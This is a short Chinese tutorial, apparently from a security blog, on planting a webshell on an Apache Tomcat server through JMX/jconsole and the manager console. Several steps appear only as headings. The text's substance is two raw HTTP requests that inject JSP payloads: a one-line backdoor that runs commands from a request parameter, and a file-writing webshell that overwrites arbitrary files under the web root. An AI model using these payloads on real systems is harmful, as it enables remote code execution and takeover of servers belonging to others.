Tomcat JMX上传WebShell

时间：2018-08-30 00:01:53人气：次作者：本站作者我要评论

1、配置tomcat启动jconsole到1099端口的配置：

//重启tomcat：

./shutdown.sh

./startup.sh

2、本地->运行输入：jconsole

//获得/manager/html后台的访问密码：

//上传webshell:

//使用burpsuite写入cmd后门：

GET /test?<%Runtime.getRuntime().exec(request.getParameter("www.cesafe.com"));%> HTTP/1.1
Host: 192.168.1.100:8080

Code

GET /test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"></jsp:directive><jsp:directive.page import="java.io.OutputStream"></jsp:directive><jsp:directive.page import="java.io.FileOutputStream"></jsp:directive><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart"> HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.3.6000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Language: zh-CN
Cookie: JSESSIONID=FD5D2DAF6665FC4C3CC90C814757BF97
Connection: close
Content-Length: 2